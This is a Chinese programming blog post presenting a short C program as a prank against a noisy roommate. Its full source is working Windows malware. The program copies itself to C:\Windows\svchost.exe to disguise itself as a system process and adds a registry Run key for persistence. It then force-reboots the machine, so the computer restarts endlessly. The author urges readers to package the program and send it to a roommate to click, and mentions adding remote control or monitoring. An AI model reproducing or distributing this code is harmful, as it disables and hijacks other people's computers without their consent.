【C语言】30行代码写出无限重启程序,室友太吵怎么办?
目录
序
路漫长而阔远,一片星空美到寂。
嗨,这里是狐狸~~
今天是2022年1月6日,时间飞逝啊,很多同学都已经放寒假了吧,真的很羡慕放假的同学们。先给大家透个底,今天这个项目厉害了,今天做个恶搞程序,这也是很多年前做的项目了,那时室友天天通宵打游戏,弄得我整晚整晚的睡不着,之后便有了这个无限重启程序,可以说打着之后她再也不敢通宵打游戏了,嘿嘿,现在觉着也满是怀念啊。
基本思路📝
<Windows.h>
运用<Windows.h>头文件,这就是说在这个程序只针对去Windows操作系统,其他的不行。
注册表
通过注册表实现开机自启,这样才能无限重启。
其他的就很简单了,主要是Windows自带的功能,我们调用并进行无限循环操作就好了,嘿嘿。
代码解析📝
#include <stdio.h> #include <stdlib.h> #include <Windows.h> int WINAPI WinMain(HINSTANCE hInstance , HINSTANCE hPreInstance ,LPSTR lpCmdLine , int nCmdShow) { //无限重启 //调整权限 HANDLE hToken; OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); //查看特权值 LUID luid; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luid); //调整权限 TOKEN_PRIVILEGES tkp; tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tkp.Privileges[0].Luid = luid; AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL); //开机自启动 //计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY hKey; if (ERROR_SUCCESS != RegOpenKeyEx(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey)) { printf("打开注册表失败.\n"); return 0; } //获取当前exe路径 wchar_t szAppPath[260]; GetModuleFileName(NULL, szAppPath, MAX_PATH); wchar_t szObjPath[260]=L"C:\\Windows\\svchost.exe"; //自我复制 CopyFile(szAppPath, szObjPath, FALSE); //写入注册表 RegSetValueEx(hKey, L"svchost", 0, REG_SZ, (const BYTE*)szAppPath, 260); //关闭注册表 RegCloseKey(hKey); //启动新的程序 STARTUPINFO si = { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi = {0}; CreateProcess(NULL, szObjPath, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); //MessageBox(NULL, szAppPath, L"提示", MB_OK); //黑窗口效果 //system("shutdown -r -t 0"); //重启,关机,注销 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); //MessageBox(NULL, L"运行了", L"标题", MB_OK); return 0; }
总结
今天代码是非常之少的,满打满算30行都不到,所以说每一行都很重要,没有啥繁琐的定义之类的,对了,这是用到Windows的库,所以只支持Windows系统,如果你是苹果系统可能就没有效果了,提前说一下,然后就是自己千万不要轻易尝试,不然就把自己玩进去了,刚开始我第一次运行的时候弄了我一下午没解决,还是请教老师最后才解决的,都是泪啊。对了,这个不用你室友有编译器,你自己打包好,发给你的室友,他只要点开,嘿嘿。
当然啦,这个程序我之后也做了许多的优化,比如说,开机之后你得先玩一个贪吃蛇游戏,赢了就饶了你,输了就要重启,总之就是非常难受,或者你还可以加上网络编程,远程控制或者远程监控都是可以的,非常的牛逼,也是非常的有趣。想要这些的可以加群领取C/C++学习资料以及其他项目的源码的可以加群【1083227756】了解。想要对程序员的未来发展有兴趣的可以关注微信公众号:【狐狸的编码时光】,希望和大家一起学习进步!
视频讲解
感兴趣的可以点下方的链接去看看视频讲解,会更容易理解。
https://www.bilibili.com/video/BV1Sb4y1e76X/ https://www.bilibili.com/video/BV1Sb4y1e76X/
- 如何写出高效优美的单片机C语言代码?
- 编程精粹--编写高质量C语言代码(1):假想编译程序
- 怎么用代码里打印程序所占用的内存
- 【C语言】03-第一个C程序代码分析
- 我也要学C语言-第一章:第一个C程序的代码初解
- c语言判断是否素数程序代码
- expect自动检测并重启另外一台服务器上的程序代码
- 要复制就能用的 谢谢有急用 要求200行左右 有代码 在c语言的环境下编一个运动的图形程序
- 如何让程序运行更快时间更短C语言代码(程序员必看)
- C语言处理图片二值化程序代码[亲测能用]
- 怎么写出好代码——坏味道
- 写出高效优美的C语言代码(单片机)
- 程序设计基石与实践之内存里C语言代码布局
- 怎么修复网站漏洞 如何修补网站程序代码漏洞
- 用C语言写出掷骰子的小程序
- 写出高效优美的C语言代码(单片机)
- .net重启iis线程池和iis站点程序代码【转】
- C语言小程序 数组操作示例代码
- 在c语言中,将一个数插入一个数组中,程序怎么写?
- 一个月没怎么写出完整的代码了